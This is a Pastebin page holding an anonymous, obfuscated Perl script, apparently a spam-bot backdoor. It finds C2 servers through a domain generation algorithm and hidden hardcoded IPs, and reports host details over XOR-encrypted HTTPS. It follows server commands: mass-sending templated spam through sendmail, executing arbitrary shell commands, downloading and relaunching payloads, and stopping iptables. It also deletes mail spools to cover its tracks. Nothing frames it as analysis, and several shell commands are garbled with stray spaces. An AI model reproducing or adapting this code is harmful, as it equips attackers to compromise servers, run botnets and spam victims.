API tools faq
paste
Guest User

Untitled

a guest
Nov 27th, 2012
186
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 12.89 KB | None | 0 0
raw download clone embed print report
  1. # !/usr/bin / perl
  2.  
  3. use strict;
  4. use Socket;
  5. use CGI;
  6. srand(time ^ $$ ^ unpack "%L*", `ps axww | gzip`);
  7. $SIG {
  8.    PIPE
  9. } = sub {
  10. die "Broken pipe"
  11. };
  12. $ENV {
  13. PATH
  14. } = $ENV {
  15. PATH
  16. }.":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin";
  17. my $b80g = ($ < == 0);
  18. my $cj65 = ((getpwuid($ >)) [0]);
  19. my $g6ho = 0;
  20. $g6ho = length($ARGV[0]) if ($ARGV[0] = ~ /^ + $ /);
  21. my $hahk = int(rand(2147483647));
  22. my ($hamo, $ifib, $alf3);
  23. my $ipnl = 443;
  24. my $k0ob = "/b/index.php";
  25. my $g1b1 = '/tmp/...';
  26. my $c087 = 0;
  27. my $i5fg = 0;
  28. my $jb0l = 0;
  29. my $ke9i = 0;
  30. my $b8mj = 0;
  31. my $aj11 = 0;
  32. my $gbed = 50;
  33. my $p = "1234567890";
  34. my $e2c2;
  35. my $jap8 = "sendmail";
  36. my $epm2;
  37. my $heel;
  38. my %bj1c;
  39. my $g85a = 36;
  40. $bj1c {
  41. 'd_v'
  42. } = $g85a;
  43. $bj1c {
  44. 'd_w'
  45. } = $cj65;
  46. $bj1c {
  47. 'd_rb'
  48. } = $g6ho;
  49. $bj1c {
  50. 'd_pi'
  51. } = $$;
  52. $bj1c {
  53. 'd_iv'
  54. } = $];
  55. sub aan {
  56. print '['.localtime().'] ';
  57. print @_;
  58. }
  59. sub aai {
  60. return 0 if !open(SIGNFH, ">$g1b1");
  61. return 0 if !flock(SIGNFH, 2 | 4);
  62. return 1;
  63. }
  64. sub ab1 {
  65. my $b2oc = shift;
  66. my $bff9 = shift;
  67. my $c91c = shift;
  68. my $i3hb = shift;
  69. my $c9p7 = shift;
  70. my $he4e = $b2oc - > {
  71. 'name'
  72. };
  73. my $cbmm = $b2oc - > {
  74. 'addr'
  75. };
  76. my $eblf = ab4(4);
  77. $i3hb = ~s / \[\[firstname \]\] / $he4e / g;
  78. $i3hb = ~s / \[\[id \]\] / $cbmm / g;
  79. $i3hb = ~s / \[\[count \]\] / $c9p7 / g;
  80. $i3hb = ~s / \[\[rand \]\] / $eblf / g;
  81. $c91c = ~s / \[\[firstname \]\] / $he4e / g;
  82. $c91c = ~s / \[\[id \]\] / $cbmm / g;
  83. $c91c = ~s / \[\[count \]\] / $c9p7 / g;
  84. $c91c = ~s / \[\[rand \]\] / $eblf / g;
  85. for (my $i = 0; $i < 10; $i++) {
  86. my $ipj3 = $b2oc - > {
  87. 'params'
  88. } -> [$i];
  89. $i3hb = ~s / \[\[param$i \]\] / $ipj3 / g;
  90. $c91c = ~s / \[\[param$i \]\] / $ipj3 / g;
  91. }
  92. my $i1mc = "From: $bff9|To: ".($he4e ? "\"$he4e\" <$cbmm>" : "$cbmm")."|Subject: $c91c";
  93. eval {
  94. open SENDMAIL,
  95. "| $jap8 -t";
  96. print SENDMAIL "From: $bff9\n";
  97. print SENDMAIL "To: ".($he4e ? "\"$he4e\" <$cbmm>" : "$cbmm")."\n";
  98. print SENDMAIL "Subject: $c91c\n";
  99. print SENDMAIL "\n" if ($jap8 = ~ / \ / mail /);
  100. print SENDMAIL "$i3hb";
  101. close SENDMAIL;
  102. };
  103. if ($@) {
  104. my $cje4 = $@;
  105. chomp $cje4;
  106. return 0;
  107. }
  108. return 1;
  109. }
  110. sub aal {
  111. my $ed6i = shift;
  112. my $khnp = shift;
  113. my @bfgb = @$khnp;
  114. my $bff9 = shift @bfgb;
  115. my $c91c = shift @bfgb;
  116. my $i3hb;
  117. while (scalar(@bfgb)) {
  118. my $k8nc = shift @bfgb;
  119. if ($k8nc eq $ed6i) {
  120. last;
  121. }
  122. $i3hb. = $k8nc."\n";
  123. }
  124. my @g1mb;
  125. while (scalar(@bfgb)) {
  126. my $b2oc = {};
  127. my $k8nc = shift @bfgb;
  128. my($h4pj, $j63f, @f9hl) = split / \t /, $k8nc;
  129. if (!$j63f) {
  130. $j63f = $h4pj;
  131. $h4pj = undef;
  132. }
  133. $b2oc - > {
  134. 'addr'
  135. } = $j63f;
  136. $b2oc - > {
  137. 'name'
  138. } = $h4pj if $h4pj;
  139. $b2oc - > {
  140. 'params'
  141. } = \@f9hl if (scalar(@f9hl));
  142. push @g1mb, $b2oc if ($b2oc - > {
  143. 'addr'
  144. });
  145. }
  146. for (my $i = 0; $i < scalar(@g1mb);) {
  147. if (ab1($g1mb[$i], $bff9, $c91c, $i3hb, $i)) {
  148. $jb0l++;
  149. $ke9i++;
  150. } else {
  151. $b8mj++;
  152. $aj11++;
  153. }
  154. $i++;
  155. }
  156. if ($b80g) {
  157. `rm - f / var / mail / root / var / spool / mail / root / var / mail / mail / var / spool / mail / mail`;
  158. }
  159. `rm - f ~ / dead.letter`;
  160. }
  161. sub aaf {
  162. my $k2fk = sprintf($heel." | grep -ci '<html'", "https://accounts.google.com/ServiceLogin?service=mail");
  163. my($fn0i) = `$k2fk`;
  164. chomp $fn0i;
  165. return $fn0i;
  166. }
  167. sub ab9 {
  168. if ($epm2 eq "wget") {
  169. my($clp5) = `wget - - version | head - n1 | grep - o "\\.[0-9]*" | grep - o "[0-9]*\$" `;
  170. chomp $clp5;
  171. $clp5 = int($clp5);
  172. $heel = "wget -q -O - -t 1 -T 60 ";
  173. $heel. = "--no-check-certificate " if ($clp5 > 9);
  174. $heel. = '"%s"';
  175. }
  176. elsif($epm2 eq "curl") {
  177. $heel = 'curl -s -k --max-time 60 "%s"';
  178. }
  179. elsif($epm2 eq "fetch") {
  180. $heel = 'fetch -T 60 -q -o - "%s"';
  181. }
  182. }
  183. sub ab2 {
  184. my @ae1n = ('wget', 'curl', 'fetch');
  185. undef $epm2;
  186. foreach my $i6ff(@ae1n) {
  187. if ($e2c2) {
  188. my $gd49 = `which $i6ff`;
  189. next if ($gd49 !~ /^ \ //); }
  190. $epm2 = $i6ff;
  191. ab9();
  192. if (!aaf()) {
  193.    undef $epm2;
  194.    next;
  195. }
  196. last;
  197. }
  198. if (!$epm2) {
  199. $epm2 = "wget";
  200. ab9();
  201. }
  202. $bj1c {
  203. 'd_br'
  204. } = $epm2;
  205. }
  206. my $d5gb = 0;
  207. sub ab7 {
  208. return if (time() - $d5gb < 3600);
  209. $d5gb = time();
  210. $e2c2 = `which which | grep - v alias | sed - e 's/^[[:space:]]*//' `;
  211. ab2();
  212. ab3();
  213. aad() if ($b80g);
  214. my $bgen = `ps - xo command | grep - v grep | grep postfix / master | wc - l | sed - e 's/^[[:space:]]*//' `;
  215. chomp $bgen;
  216. if ($bgen) {
  217. $bj1c {
  218. 'd_ma'
  219. } = 'postfix';
  220. if ($e2c2) {
  221. $bgen = `which sendmail.postfix`;
  222. chomp $bgen;
  223. $jap8 = $bgen
  224. if ($bgen = ~ /^ \ /. * ab1.postfix$ /);
  225. }
  226. } else {
  227. $bj1c {
  228. 'd_ma'
  229. } = 'sendmail';
  230. }
  231. $bj1c {
  232. 'd_mc'
  233. } = $jap8;
  234. }
  235. sub aad {
  236. my @ihm0 = ("postfix", "sendmail");
  237. foreach my $el22(@ihm0) {
  238. my $fmdg = `service $el22 status`;
  239. chomp $fmdg;
  240. if ($fmdg = ~ / running / i) {
  241. return $el22;
  242. }
  243. }
  244. foreach my $el22 (@ihm0) {
  245. my $g8p4 = `service $el22 start`;
  246. chomp $g8p4;
  247. if ($g8p4 = ~ / done / i || $g8p4 = ~ / ok / i) {
  248. return $el22;
  249. }
  250. }
  251. return undef;
  252. }
  253. sub ab3 {
  254. my @gj36 = ('sendmail', 'mailx', 'mail');
  255. my @g3d3 = ('/etc/', 'cron', '.cpan', '/lib', 'log.d', '/services/', '/cgi-bin/', 'mail-lock', 'mail-unlock', 'mail-touchlock', 'formail', 'traptoemail', 'run-mailcap', 'checksendmail', 'w3mmail.cgi');
  256. my $j6ll;
  257. foreach my $gdhm(@gj36) {
  258. if ($e2c2) {
  259. my $df52 = `which $gdhm`;
  260. chomp $df52;
  261. if ($df52 = ~ /^ (\ / [^] +) /) {
  262. $jap8 = $1;
  263. return 1;
  264. }
  265. }
  266. $j6ll = "locate $gdhm | head -n1000";
  267. my @jmjh = split / \n /, `$j6ll`;
  268. $j6ll = "find /bin/ /sbin/ /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin/ -type f -or -type l | grep $gdhm ";
  269. push @jmjh, split / \n /, `$j6ll`;
  270. chomp @jmjh;
  271. my @e052;
  272. foreach my $cf09 (@jmjh) {
  273. next if ( - d $cf09);
  274. next if (! - x $cf09);
  275. next if ($cf09 = ~ / \.so$ /);
  276. my $jdlk = 0;
  277. foreach my $eob4 (@g3d3) {
  278. if ($cf09 = ~ / $eob4 /) {
  279. $jdlk = 1;
  280. last;
  281. }
  282. }
  283. next if $jdlk;
  284. if ($cf09 = ~ / bin \ // && $cf09 =~ /$gdhm$/) { $jap8 = $cf09; return 1; } push (@e052,$cf09); } foreach my $cf09 (@e052) { if ($cf09 =~ /bin\//) { $jap8 = $cf09; return 1; } } foreach my $cf09 (@e052) { if ($cf09 =~ /$gdhm$/) { $jap8 = $cf09; return 1; } } } return 0; } sub aac { my $k8nc = shift; my $geaj = shift;
  285. if ($geaj = ~ / ([0 - 9] +) \.([0 - 9] +) \.([0 - 9] +) \.([0 - 9] +) /) {
  286. $geaj = ($1 << 24) + ($2 << 16) + ($3 << 8) + ($4);
  287. } else {
  288. $geaj = int($geaj);
  289. }
  290. my @ipha;
  291. $ipha[0] = ((($geaj & 0 xFF000000) >> 24) + 15) %256;
  292. $ipha[1] = ((($geaj & 0 x00FF0000) >> 16) + 13) %256;
  293. $ipha[2] = ((($geaj & 0 x0000FF00) >> 8) + 52) %256;
  294. $ipha[3] = ((($geaj & 0 x000000FF)) + 71) %256;
  295. my $ioi2;
  296. for (my $i = 0; $i < length($k8nc);
  297. $i++) {
  298. my $hec1 = ord(substr ($k8nc, $i, 1));
  299. my $d = int($hec1 ^ $ipha[$i%4]);
  300. $ioi2. = sprintf("%02x", $d);
  301. $ipha[($i + 1) %4] = ($ipha[($i + 1) %4] + $d) %256;
  302. }
  303. return $ioi2;
  304. }
  305. sub aah {
  306. my $k8nc = shift;
  307. my $geaj = shift;
  308. if ($geaj = ~ / ([0 - 9] +) \.([0 - 9] +) \.([0 - 9] +) \.([0 - 9] +) /) {
  309. $geaj = ($1 << 24) + ($2 << 16) + ($3 << 8) + ($4);
  310. } else {
  311. $geaj = int($geaj);
  312. }
  313. my @ipha;
  314. $ipha[0] = ((($geaj & 0 xFF000000) >> 24) + 15) %256;
  315. $ipha[1] = ((($geaj & 0 x00FF0000) >> 16) + 13) %256;
  316. $ipha[2] = ((($geaj & 0 x0000FF00) >> 8) + 52) %256;
  317. $ipha[3] = ((($geaj & 0 x000000FF)) + 71) %256;
  318. my $ioi2;
  319. for (my $i = 0; $i < length($k8nc) / 2;
  320. $i++) {
  321. my $hec1 = hex(substr ($k8nc, $i * 2, 2));
  322. $ipha[($i + 1) %4] = ($ipha[($i + 1) %4] + $hec1) %256;
  323. $ioi2. = chr($hec1 ^ $ipha[$i%4]);
  324. }
  325. return $ioi2;
  326. }
  327. sub ab4 {
  328. my $jh9k = shift;
  329. my @gfe3 = ('a'..'z');
  330. my $fpmd;
  331. foreach(1.. $jh9k) {
  332. $fpmd. = $gfe3[rand @gfe3];
  333. }
  334. return $fpmd;
  335. }
  336. sub aak {
  337. my $a = shift;
  338. my $ioi2 = 0;
  339. $ioi2 += (ord(substr($a, 3, 1)) & 0 xFF);
  340. $ioi2 += (ord(substr($a, 2, 1)) & 0 xFF) << 8;
  341. $ioi2 += (ord(substr($a, 1, 1)) & 0 xFF) << 16;
  342. $ioi2 += (ord(substr($a, 0, 1)) & 0 xFF) << 24;
  343. return $ioi2;
  344. }
  345. sub aba {
  346. my $hamo = shift;
  347. my $jel7 = inet_aton($hamo);
  348. return(defined $jel7) ? inet_ntoa($jel7) : undef;
  349. }
  350. sub ab8 {
  351. my $g6hd = shift;
  352. my $i6ff = sprintf($heel, $g6hd);
  353. my @ioi2 = `$i6ff`;
  354. chomp @ioi2;
  355. return @ioi2;
  356. }
  357. sub aag {
  358. my $g6hd = shift;
  359. my $b6o8 = shift;
  360. if ($epm2 eq "wget") {
  361. `wget - q "$g6hd" - O "$b6o8" `;
  362. }
  363. elsif($epm2 eq "curl") {
  364. `curl "$g6hd" > "$b6o8" `;
  365. }
  366. elsif($epm2 eq "fetch") {
  367. `fetch - o "$b6o8" "$g6hd" `;
  368. }
  369. }
  370. my $cben = 0;
  371. my $bidj = 0;
  372. my $h843;
  373. my @g07h = ();
  374. sub ab6 {
  375. my $ifib = $ipnl;
  376. undef $h843;
  377. return($h843, $ifib) if (aap($g07h[$cben], $ifib));
  378. my $b7ha = $cben;
  379. for ($cben = 0; $cben < 10; $cben++) {
  380. if ($cben == 4) {
  381. my @p = split '',
  382. $p;
  383. my $h39c = $p[6];
  384. $h39c = "$h39c$h39c.6$h39c.";
  385. $h39c. = $p[7].$p[9];
  386. $h39c. = '.'.$p[2].$p[0];
  387. return($h39c, $ifib) if (aae($h39c, $ifib));
  388. }
  389. if ($cben == 5) {
  390. my @p = split '',
  391. $p;
  392. my $h39c = $p[7].$p[4];
  393. $h39c. = '.'.$p[1].$p[0].$p[3];
  394. $h39c. = '.'.$p[7].$p[9];
  395. $h39c. = '.'.$p[3];
  396. return($h39c, $ifib) if (aae($h39c, $ifib));
  397. }
  398. next if ($b7ha == $cben);
  399. return($h843, $ifib) if (aap($g07h[$cben], $ifib));
  400. }
  401. my @p = split '', $p;
  402. my $h39c = $p[1].$p[9];
  403. $h39c = $h39c.$p[7].'.'.$h39c;
  404. $h39c = '.'.$h39c;
  405. $h39c = '.'.$p[1].$p[2].$h39c;
  406. $h39c = $p[8].$p[3].$h39c;
  407. return($h39c, $ifib) if (aae($h39c, $ifib));
  408. $bidj++;
  409. return undef;
  410. }
  411. my $jc4b = 0;
  412. sub aaj {($hamo, $ifib) = ab6();
  413. $jc4b = time() if ($hamo);
  414. $bj1c {
  415. 'd_fd'
  416. } = $hamo;
  417. $bj1c {
  418. 'd_fi'
  419. } = $alf3;
  420. $bj1c {
  421. 'd_fp'
  422. } = $ifib;
  423. }
  424. sub ab0 {
  425. my($cpgi, $c89b) = (14400, 3600);
  426. return if (time() - $jc4b < $cpgi);
  427. my($e2n0, $d6pa, $b7l7) = ($hamo, $ifib, $alf3);
  428. aaj();
  429. return if ($hamo && $ifib && $alf3);
  430. ($hamo, $ifib, $alf3) = ($e2n0, $d6pa, $b7l7);
  431. $jc4b = time() - ($cpgi - $c89b);
  432. }
  433. sub aap {
  434. my $hamo = shift;
  435. my $ifib = shift;
  436. my $e905 = "www.".$hamo;
  437. my $edod = aak(inet_aton($e905));
  438. if ($edod) {
  439. my $iph5 = ab4(10).".".$hamo;
  440. my $c7g3 = aak(inet_aton($iph5));
  441. if ($c7g3 && ($c7g3 == $edod + 1)) {
  442. return aae($iph5, $ifib);
  443. }
  444. }
  445. return 0;
  446. }
  447. sub aae {
  448. $h843 = shift;
  449. my $ifib = shift;
  450. my $io8b = int(rand(2147483647));
  451. my $geaj = int(rand(2147483647));
  452. $alf3 = aba($h843);
  453. my $e0kj = $io8b."*".$hahk."*".$geaj;
  454. my $b946 = aac($e0kj, $alf3);
  455. my $g6hd = "https://$h843:$ifib/$k0ob?id=$b946&check=1";
  456. my @bfgb = ab8($g6hd);
  457. for (my $i = 0; $i < scalar(@bfgb);
  458. $i++) {
  459. $bfgb[$i] = aah($bfgb[$i], $geaj);
  460. }
  461. my $jfcn = shift @bfgb;
  462. if ($jfcn = ~ /^ SUCCESS$ /) {
  463. $bidj = 0;
  464. return 1;
  465. }
  466. return 0;
  467. }
  468. sub ab5 {
  469. my $geaj = shift;
  470. my $io8b = shift;
  471. my $c7bm;
  472. foreach my $f (keys %bj1c) {
  473. if ($f = ~ /^ d_(. +) $ /) {
  474. my $he4e = $1;
  475. $c7bm. = ($c7bm ? "|" : "")."$he4e=".$bj1c {
  476. $f
  477. };
  478. }
  479. }
  480. $c7bm = "$io8b*$c7bm" if ($io8b);
  481. return aac($c7bm, $geaj);
  482. }
  483. my $afj0;
  484. sub aao {
  485. my $fpek = shift || time || 4357;
  486. my @a = ();
  487. for (1..10000) {
  488. use integer;
  489. push @a,
  490. $fpek & 0 x7fffffff;
  491. $fpek *= 69069;
  492. }
  493. $afj0 = {
  494. offset => 0,
  495. array => \@a
  496. }
  497. }
  498. sub aam {
  499. my $jpnb = shift || 1.0;
  500. aao() unless defined $afj0;
  501. $afj0 - > {
  502. offset
  503. } = ($afj0 - > {
  504. offset
  505. } + 1) % 10000;
  506. my $c8i0 = $afj0 - > {
  507. offset
  508. };
  509. my $a = $afj0 - > {
  510. array
  511. };
  512. $$a[$c8i0] = ($$a[($c8i0 - 471) % 10000] ^ $$a[($c8i0 - 1586) % 10000] ^ $$a[($c8i0 - 6988) % 10000] ^ $$a[($c8i0 - 9689) % 10000]);
  513. return $$a[$c8i0] * $jpnb / (2 ** 31);
  514. }
  515. sub aab {
  516. my $jh9k = 10;
  517. my @gfe3 = ('a'..'z');
  518. aao(123987);
  519. my $fpmd;
  520. for (my $i = -15; $i < $gbed; $i++) {
  521. $fpmd = "";
  522. foreach(1.. $jh9k) {
  523. $fpmd. = $gfe3[int(aam(scalar(@gfe3)))];
  524. }
  525. if ($i >= 0) {
  526. my $fhf8 = $fpmd.".info";
  527. push @g07h,
  528. $fhf8;
  529. }
  530. }
  531. }
  532. if (!aai()) {
  533. exit;
  534. }
  535. aab();
  536. my $iib6 = 0;
  537. while (1) {
  538. my $jfcn;
  539. my @bfgb;
  540. ab7();
  541. aaj() if (!$hamo || !$ifib || !$alf3);
  542. ab0();
  543. if (!$hamo || !$ifib || !$alf3) {
  544. if ($bidj >= 24) {
  545. last;
  546. }
  547. sleep 3600;
  548. next;
  549. }
  550. my $io8b = int(rand(2147483647));
  551. my $c74e = int(rand(2147483647));
  552. my $geaj = int(rand(2147483647));
  553. my $e0kj = $io8b."*".$hahk."*".$geaj;
  554. my $b946 = aac($e0kj, $alf3);
  555. my $g6hd = "https://$alf3:$ifib/$k0ob?id=$b946";
  556. $g6hd. = "&sent=$jb0l";
  557. $g6hd. = "&notsent=$b8mj";
  558. $g6hd. = "&unknown=".CGI :: escape($c087) if ($c087);
  559. $g6hd. = "&testsend=1" if ($i5fg);
  560. $g6hd. = "&stat=".ab5($alf3, $c74e);
  561. @bfgb = ab8($g6hd);
  562. for (my $i = 0; $i < scalar(@bfgb);
  563. $i++) {
  564. $bfgb[$i] = aah($bfgb[$i], $geaj);
  565. }
  566. $jfcn = shift @bfgb;
  567. if ($jfcn) {
  568. $iib6 = 0;
  569. $jb0l = 0;
  570. $b8mj = 0;
  571. $i5fg = 0;
  572. $c087 = 0;
  573. } else {
  574. $iib6++;
  575. if ($iib6 > 3) {
  576. $iib6 = 0;
  577. undef($hamo);
  578. undef($alf3);
  579. undef($ifib);
  580. }
  581. $jfcn = "SLEEP 60";
  582. }
  583. if ($jfcn = ~ /^ SLEEP ([0 - 9] +) $ /) {
  584. sleep $1;
  585. next;
  586. }
  587. elsif ($jfcn = ~ /^ RELOAD (. *) $ /) {
  588. aag($1, "/tmp/ ");
  589. close(SIGNFH);
  590. system('cd /tmp; nohup perl " " "   " &');
  591. sleep 5;
  592. `rm - f "/tmp/ " / tmp / nohup.out`;
  593. last;
  594. }
  595. elsif ($jfcn = ~ /^ KILL$ /) {
  596. last;
  597. }
  598. elsif ($jfcn = ~ /^ SEND ([a - zA - Z0 - 9] +) $ /) {
  599. aal($1, \@bfgb);
  600. undef @bfgb;
  601. sleep 1;
  602. next;
  603. }
  604. elsif ($jfcn = ~ /^ TESTSEND ([a - zA - Z0 - 9] +) $ /) {
  605. aal($1, \@bfgb);
  606. undef @bfgb;
  607. $i5fg = 1;
  608. sleep 1;
  609. next;
  610. }
  611. elsif ($jfcn = ~ /^ EXECUTE (. *) $ /) {
  612. qx($1);
  613. next;
  614. }
  615. elsif ($jfcn = ~ /^ START SENDMAIL$ /) {
  616. `service sendmail start`;
  617. next;
  618. }
  619. elsif ($jfcn = ~ /^ STOP IPTABLES$ /) {
  620. `service iptables stop`;
  621. next;
  622. }
  623. $c087 = $jfcn;
  624. sleep 30;
  625. if (!aae($hamo, $ifib)) {
  626. undef($hamo);
  627. undef($alf3);
  628. undef($ifib);
  629. }
  630. }
  631. __END_
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!